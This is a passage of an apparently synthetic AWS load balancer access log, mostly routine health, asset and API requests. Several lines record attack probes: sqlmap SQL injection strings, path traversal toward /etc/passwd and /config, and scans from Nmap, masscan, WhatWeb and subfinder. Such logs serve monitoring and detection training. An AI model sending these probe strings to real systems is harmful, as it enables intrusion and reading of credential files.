Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723baae-c641069211cf409d91f122dc" "prod-api-alb.example.com" "-" 9 2024-11-01T00:13:18.134315Z "forward" "-" "-" "10.0.191.59:443" "200" "-" "-" -https 2024-11-01T00:13:19.912406Z prod-api-alb 110.104.8.194:23770 10.0.108.222:443 0.081082 0.200933 0.073798 200 200 88 5064 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723baaf-92e7bb585030437f94eec735" "-" "-" 10 2024-11-01T00:13:19.912406Z "forward" "-" "-" "10.0.108.222:443" "200" "-" "-" -https 2024-11-01T00:13:21.474432Z prod-api-alb 230.98.141.16:59707 10.0.66.145:443 0.093832 0.089893 0.032794 200 200 711 9288 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bab1-1f57c6cf154e4c27bff419af" "prod-api-alb.example.com" "-" 8 2024-11-01T00:13:21.474432Z "forward" "-" "-" "10.0.66.145:443" "200" "-" "-" -https 2024-11-01T00:13:23.045657Z prod-web-alb 194.222.167.242:10863 10.0.155.153:443 0.008349 0.140539 0.062924 200 200 339 2592 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bab3-46c94ff3f47040d7a7d924ca" "prod-web-alb.example.com" "-" 4 2024-11-01T00:13:23.045657Z "forward" "-" "-" "10.0.155.153:443" "200" "-" "-" -https 2024-11-01T00:13:23.787773Z staging-alb 203.8.154.197:53320 61.117.135.232:8080 0.119831 0.701247 0.089044 200 200 817 7710 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bab3-051a933eb19e401a873973f0" "staging-alb.example.com" "-" 3 2024-11-01T00:13:23.787773Z "forward" "-" "-" "61.117.135.232:8080" "200" "-" "-" -https 2024-11-01T00:13:23.905284Z prod-web-alb 101.117.141.38:50514 10.0.27.212:443 0.077191 0.120503 0.065260 200 200 726 3805 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bab3-6daa045d00fd42e5acba20d7" "prod-web-alb.example.com" "-" 3 2024-11-01T00:13:23.905284Z "forward" "-" "-" "10.0.27.212:443" "200" "-" "-" -https 2024-11-01T00:13:25.868362Z prod-web-alb 19.98.144.89:52509 10.0.180.255:443 0.020720 0.476529 0.088675 200 200 307 6061 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bab5-fa278ed284314a91999eef57" "prod-web-alb.example.com" "-" 8 2024-11-01T00:13:25.868362Z "forward" "-" "-" "10.0.180.255:443" "200" "-" "-" -https 2024-11-01T00:13:25.978471Z prod-api-alb 12.158.41.117:44113 10.0.109.119:443 0.028546 0.056739 0.071266 200 200 966 8574 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bab5-cd85b6357c184ced95edf113" "prod-api-alb.example.com" "-" 4 2024-11-01T00:13:25.978471Z "forward" "-" "-" "10.0.109.119:443" "200" "-" "-" -http 2024-11-01T00:13:27.511671Z staging-alb 96.214.51.118:17152 238.189.238.234:8080 0.085136 0.588023 0.067919 200 200 249 13960 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bab7-12ba3a4376e84cef89bec7e4" "staging-alb.example.com" "-" 3 2024-11-01T00:13:27.511671Z "forward" "-" "-" "238.189.238.234:8080" "200" "-" "-" -https 2024-11-01T00:13:27.875784Z prod-api-alb 172.157.114.118:53073 10.0.205.247:443 0.036936 0.357095 0.006082 200 200 316 7626 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bab7-36715feb4c7e4fea9367bfb9" "prod-api-alb.example.com" "-" 5 2024-11-01T00:13:27.875784Z "forward" "-" "-" "10.0.205.247:443" "200" "-" "-" -https 2024-11-01T00:13:29.129182Z prod-web-alb 85.245.224.76:36593 10.0.123.194:443 0.072213 0.371863 0.068706 200 200 152 8565 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bab9-22c4dbff6f404cb09637c680" "prod-web-alb.example.com" "-" 2 2024-11-01T00:13:29.129182Z "forward" "-" "-" "10.0.123.194:443" "200" "-" "-" -http 2024-11-01T00:13:29.571032Z staging-alb 131.20.48.129:20587 102.237.121.214:443 0.078931 0.203547 0.113314 200 200 915 13423 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bab9-d3a6c64e0aa24e5fb2e2bdf5" "staging-alb.example.com" "-" 2 2024-11-01T00:13:29.571032Z "forward" "-" "-" "102.237.121.214:443" "200" "-" "-" -http 2024-11-01T00:13:29.839981Z staging-alb 225.13.226.62:43193 175.166.139.97:80 0.074537 0.600854 0.059311 404 404 175 6426 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bab9-803c48092d0c477995c47dd0" "staging-alb.example.com" "-" 4 2024-11-01T00:13:29.839981Z "forward" "-" "-" "175.166.139.97:80" "404" "-" "-" -https 2024-11-01T00:13:31.250831Z staging-alb 145.92.72.238:46255 249.13.126.164:8080 0.096522 0.125624 0.040168 200 200 454 3537 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723babb-028c0f22e1fb454aa63f53bf" "staging-alb.example.com" "-" 2 2024-11-01T00:13:31.250831Z "forward" "-" "-" "249.13.126.164:8080" "200" "-" "-" -http 2024-11-01T00:13:32.799554Z staging-alb 236.198.173.224:11409 124.68.216.88:8080 0.117493 0.231930 0.050658 301 301 319 13520 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723babc-41de3e5e120046b88e9c2546" "staging-alb.example.com" "-" 4 2024-11-01T00:13:32.799554Z "forward" "-" "-" "124.68.216.88:8080" "301" "-" "-" -http 2024-11-01T00:13:34.228026Z staging-alb 115.166.89.178:33126 216.238.132.91:8080 0.047803 0.391650 0.011030 200 200 589 2465 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723babe-ee758608acd84d0fbb7c0e02" "staging-alb.example.com" "-" 10 2024-11-01T00:13:34.228026Z "forward" "-" "-" "216.238.132.91:8080" "200" "-" "-" -https 2024-11-01T00:13:35.634119Z prod-api-alb 86.8.235.44:18744 10.0.164.192:443 0.006091 0.489158 0.035698 200 200 877 1602 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723babf-aeae4294ce3d4da39ebeecff" "prod-api-alb.example.com" "-" 6 2024-11-01T00:13:35.634119Z "forward" "-" "-" "10.0.164.192:443" "200" "-" "-" -https 2024-11-01T00:13:36.822833Z prod-api-alb 187.61.255.23:53253 10.0.67.103:443 0.082904 0.002186 0.046266 302 302 578 3599 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bac0-ba9bd8ecd25e40edb77698d5" "prod-api-alb.example.com" "-" 5 2024-11-01T00:13:36.822833Z "forward" "-" "-" "10.0.67.103:443" "302" "-" "-" -https 2024-11-01T00:13:37.531118Z prod-web-alb 126.255.75.20:37231 10.0.147.178:443 0.049243 0.199901 0.059045 301 301 958 10698 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bac1-23688047f83943e4a296c9ff" "prod-web-alb.example.com" "-" 1 2024-11-01T00:13:37.531118Z "forward" "-" "-" "10.0.147.178:443" "301" "-" "-" -https 2024-11-01T00:13:39.043302Z prod-api-alb 45.155.205.66:16578 10.0.252.56:443 0.023553 0.474783 0.070903 500 500 87 12058 "PUT /debug/pprof HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bac3-7d07b14c72454c37954f835a" "-" "-" 8 2024-11-01T00:13:39.043302Z "forward" "-" "-" "10.0.252.56:443" "500" "-" "-" -https 2024-11-01T00:13:40.467549Z staging-alb 193.27.228.181:56998 181.41.27.153:80 0.001923 0.605627 0.097842 404 404 131 1518 "GET /api/../../../config HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bac4-0332bd1ed0434b16b2999e34" "-" "-" 2 2024-11-01T00:13:40.467549Z "forward" "-" "-" "181.41.27.153:80" "404" "-" "-" -http 2024-11-01T00:13:41.716965Z staging-alb 112.103.166.227:27951 76.247.33.0:8080 0.013411 0.669220 0.041981 404 404 883 6580 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bac5-d5d16b1e619d4d7394dd5b8d" "staging-alb.example.com" "-" 3 2024-11-01T00:13:41.716965Z "forward" "-" "-" "76.247.33.0:8080" "404" "-" "-" -https 2024-11-01T00:13:42.597151Z prod-api-alb 123.129.29.100:32884 10.0.165.165:443 0.019621 0.093905 0.075946 200 200 49 14775 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bac6-73280c8b500941639886bc06" "prod-api-alb.example.com" "-" 9 2024-11-01T00:13:42.597151Z "forward" "-" "-" "10.0.165.165:443" "200" "-" "-" -https 2024-11-01T00:13:42.734034Z prod-web-alb 199.55.163.68:49018 10.0.76.215:443 0.069572 0.071298 0.021631 200 200 512 13062 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bac6-948561ae6c02436ca88386f4" "prod-web-alb.example.com" "-" 5 2024-11-01T00:13:42.734034Z "forward" "-" "-" "10.0.76.215:443" "200" "-" "-" -https 2024-11-01T00:13:44.269537Z prod-api-alb 185.181.118.169:30177 10.0.113.45:443 0.059000 0.150245 0.047985 403 403 711 3907 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bac8-3d95cecd0967436ea7e28982" "-" "-" 6 2024-11-01T00:13:44.269537Z "forward" "-" "-" "10.0.113.45:443" "403" "-" "-" -https 2024-11-01T00:13:45.174700Z prod-api-alb 185.181.76.214:44778 10.0.140.201:443 0.064288 0.334955 0.054060 200 200 848 1589 "POST /users?id=1 OR 1=1 HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bac9-6001db4c4eb1457dbe48886b" "-" "-" 10 2024-11-01T00:13:45.174700Z "forward" "-" "-" "10.0.140.201:443" "200" "-" "-" -https 2024-11-01T00:13:46.686427Z staging-alb 61.110.118.163:21865 91.206.221.50:8080 0.117035 0.261444 0.008193 200 200 617 9965 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baca-086289322e634d3b8f81240e" "staging-alb.example.com" "-" 2 2024-11-01T00:13:46.686427Z "forward" "-" "-" "91.206.221.50:8080" "200" "-" "-" -https 2024-11-01T00:13:48.230523Z prod-web-alb 120.84.30.221:19279 10.0.85.160:443 0.044440 0.062752 0.081462 301 301 990 2246 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bacc-78829db27e5749a4b7340af2" "prod-web-alb.example.com" "-" 6 2024-11-01T00:13:48.230523Z "forward" "-" "-" "10.0.85.160:443" "301" "-" "-" -https 2024-11-01T00:13:49.987348Z prod-web-alb 87.37.85.251:18252 10.0.69.56:443 0.083690 0.078829 0.006470 200 200 304 1799 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bacd-17226c79aafa42c29f369b79" "prod-web-alb.example.com" "-" 8 2024-11-01T00:13:49.987348Z "forward" "-" "-" "10.0.69.56:443" "200" "-" "-" -https 2024-11-01T00:13:50.511164Z prod-api-alb 193.27.228.181:29597 10.0.248.37:443 0.070397 0.210221 0.034586 403 403 828 385 "GET /static/../../secret HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bace-8488faf405e849b88abe6b25" "-" "-" 5 2024-11-01T00:13:50.511164Z "forward" "-" "-" "10.0.248.37:443" "403" "-" "-" -https 2024-11-01T00:13:51.437499Z prod-web-alb 95.158.22.133:49890 10.0.109.93:443 0.038824 0.416688 0.019921 200 200 177 4086 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bacf-83976a8f4e4845d5b6beb462" "prod-web-alb.example.com" "-" 6 2024-11-01T00:13:51.437499Z "forward" "-" "-" "10.0.109.93:443" "200" "-" "-" -https 2024-11-01T00:13:52.767871Z staging-alb 45.114.201.43:49644 203.130.66.180:80 0.097798 0.385061 0.053047 301 301 719 5973 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bad0-e5fea554d96948eb9311682b" "staging-alb.example.com" "-" 10 2024-11-01T00:13:52.767871Z "forward" "-" "-" "203.130.66.180:80" "301" "-" "-" -https 2024-11-01T00:13:53.984010Z prod-api-alb 193.27.228.135:45531 10.0.168.48:443 0.034916 0.433140 0.041482 403 403 37 8863 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bad1-596cd1b420be43529b58cf6f" "-" "-" 10 2024-11-01T00:13:53.984010Z "forward" "-" "-" "10.0.168.48:443" "403" "-" "-" -https 2024-11-01T00:13:55.125088Z staging-alb 29.183.205.71:33774 40.64.201.116:80 0.095888 0.717624 0.086747 200 200 836 1940 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bad3-acf235089dbb4fc9b9eb1999" "staging-alb.example.com" "-" 4 2024-11-01T00:13:55.125088Z "forward" "-" "-" "40.64.201.116:80" "200" "-" "-" -http 2024-11-01T00:13:57.013784Z staging-alb 207.22.181.242:17128 153.28.176.230:8080 0.090767 0.432204 0.130786 302 302 41 7001 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bad5-9c62f7b9e7a24babb2406437" "staging-alb.example.com" "-" 8 2024-11-01T00:13:57.013784Z "forward" "-" "-" "153.28.176.230:8080" "302" "-" "-" -https 2024-11-01T00:13:58.759457Z prod-web-alb 35.41.218.153:22192 10.0.25.127:443 0.000582 0.154722 0.078421 301 301 609 4991 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bad6-adb224e4ccf447aea51f04b8" "prod-web-alb.example.com" "-" 1 2024-11-01T00:13:58.759457Z "forward" "-" "-" "10.0.25.127:443" "301" "-" "-" -http 2024-11-01T00:13:59.973868Z staging-alb 10.117.138.224:40334 166.159.63.250:443 0.036817 0.380447 0.131050 200 200 88 3538 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bad7-72267284185c4cc2b36c1e51" "staging-alb.example.com" "-" 5 2024-11-01T00:13:59.973868Z "forward" "-" "-" "166.159.63.250:443" "200" "-" "-" -http 2024-11-01T00:14:01.502332Z staging-alb 50.161.69.225:44388 228.154.230.244:8080 0.088445 0.620724 0.041285 302 302 168 2286 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bad9-b81f66c4111b4495a59856d4" "-" "-" 8 2024-11-01T00:14:01.502332Z "forward" "-" "-" "228.154.230.244:8080" "302" "-" "-" -https 2024-11-01T00:14:03.309826Z prod-api-alb 253.60.224.132:19106 10.0.125.11:443 0.052809 0.485254 0.065698 404 404 326 7733 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723badb-a61fd96ba4c340d39a6f61b2" "prod-api-alb.example.com" "-" 2 2024-11-01T00:14:03.309826Z "forward" "-" "-" "10.0.125.11:443" "404" "-" "-" -https 2024-11-01T00:14:03.723833Z staging-alb 201.161.35.119:63055 194.152.85.226:443 0.006413 0.679142 0.042746 301 301 914 11300 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723badb-d103af2ba5654895a9494646" "staging-alb.example.com" "-" 3 2024-11-01T00:14:03.723833Z "forward" "-" "-" "194.152.85.226:443" "301" "-" "-" -http 2024-11-01T00:14:04.501467Z staging-alb 137.94.64.91:54072 35.32.222.254:443 0.126010 0.162133 0.094198 200 200 533 6716 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723badc-f3380d954f2d415183dd56c3" "staging-alb.example.com" "-" 0 2024-11-01T00:14:04.501467Z "forward" "-" "-" "35.32.222.254:443" "200" "-" "-" -https 2024-11-01T00:14:05.046492Z prod-api-alb 154.132.239.231:21547 10.0.131.28:443 0.082729 0.482330 0.074526 200 200 236 7940 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723badd-78e763ac25ec4d02bdf01518" "prod-api-alb.example.com" "-" 7 2024-11-01T00:14:05.046492Z "forward" "-" "-" "10.0.131.28:443" "200" "-" "-" -https 2024-11-01T00:14:05.567060Z prod-api-alb 185.181.118.169:19832 10.0.132.214:443 0.002316 0.400039 0.085302 500 500 279 9735 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723badd-ac5ebe41d1cc4d44a1a7e3a7" "-" "-" 1 2024-11-01T00:14:05.567060Z "forward" "-" "-" "10.0.132.214:443" "500" "-" "-" -https 2024-11-01T00:14:05.703565Z staging-alb 71.214.184.13:47857 71.212.158.82:8080 0.107431 0.154327 0.030558 200 200 673 11874 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723badd-bd369a015a544a4da9aa0784" "staging-alb.example.com" "-" 2 2024-11-01T00:14:05.703565Z "forward" "-" "-" "71.212.158.82:8080" "200" "-" "-" -https 2024-11-01T00:14:06.354130Z prod-api-alb 166.19.94.213:13320 10.0.162.157:443 0.094597 0.338732 0.095272 301 301 711 8394 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bade-1080e9421639484b84e37462" "prod-api-alb.example.com" "-" 5 2024-11-01T00:14:06.354130Z "forward" "-" "-" "10.0.162.157:443" "301" "-" "-" -https 2024-11-01T00:14:06.711718Z staging-alb 59.11.109.100:24426 216.153.137.138:80 0.029382 0.476876 0.062692 200 200 567 9085 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bade-d4e3d96d009b4710a4f84111" "staging-alb.example.com" "-" 8 2024-11-01T00:14:06.711718Z "forward" "-" "-" "216.153.137.138:80" "200" "-" "-" -https 2024-11-01T00:14:07.237599Z prod-api-alb 172.192.5.101:12170 10.0.191.184:443 0.086273 0.040960 0.074750 200 200 573 1155 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723badf-e15c9e3f02394c8e850c8371" "prod-api-alb.example.com" "-" 5 2024-11-01T00:14:07.237599Z "forward" "-" "-" "10.0.191.184:443" "200" "-" "-" -https 2024-11-01T00:14:08.814204Z staging-alb 61.170.196.59:33578 27.139.97.215:80 0.138928 0.268568 0.063751 301 301 620 529 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bae0-2f663d48c4e344b792f333ff" "staging-alb.example.com" "-" 5 2024-11-01T00:14:08.814204Z "forward" "-" "-" "27.139.97.215:80" "301" "-" "-" -http 2024-11-01T00:14:10.466687Z staging-alb 211.131.11.245:31126 142.108.199.227:80 0.139862 0.143930 0.069352 200 200 85 14417 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bae2-3e4457c9ca9846609319601b" "staging-alb.example.com" "-" 2 2024-11-01T00:14:10.466687Z "forward" "-" "-" "142.108.199.227:80" "200" "-" "-" -http 2024-11-01T00:14:12.139997Z staging-alb 246.214.203.0:10846 241.192.14.7:80 0.109003 0.446761 0.094576 200 200 758 7257 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 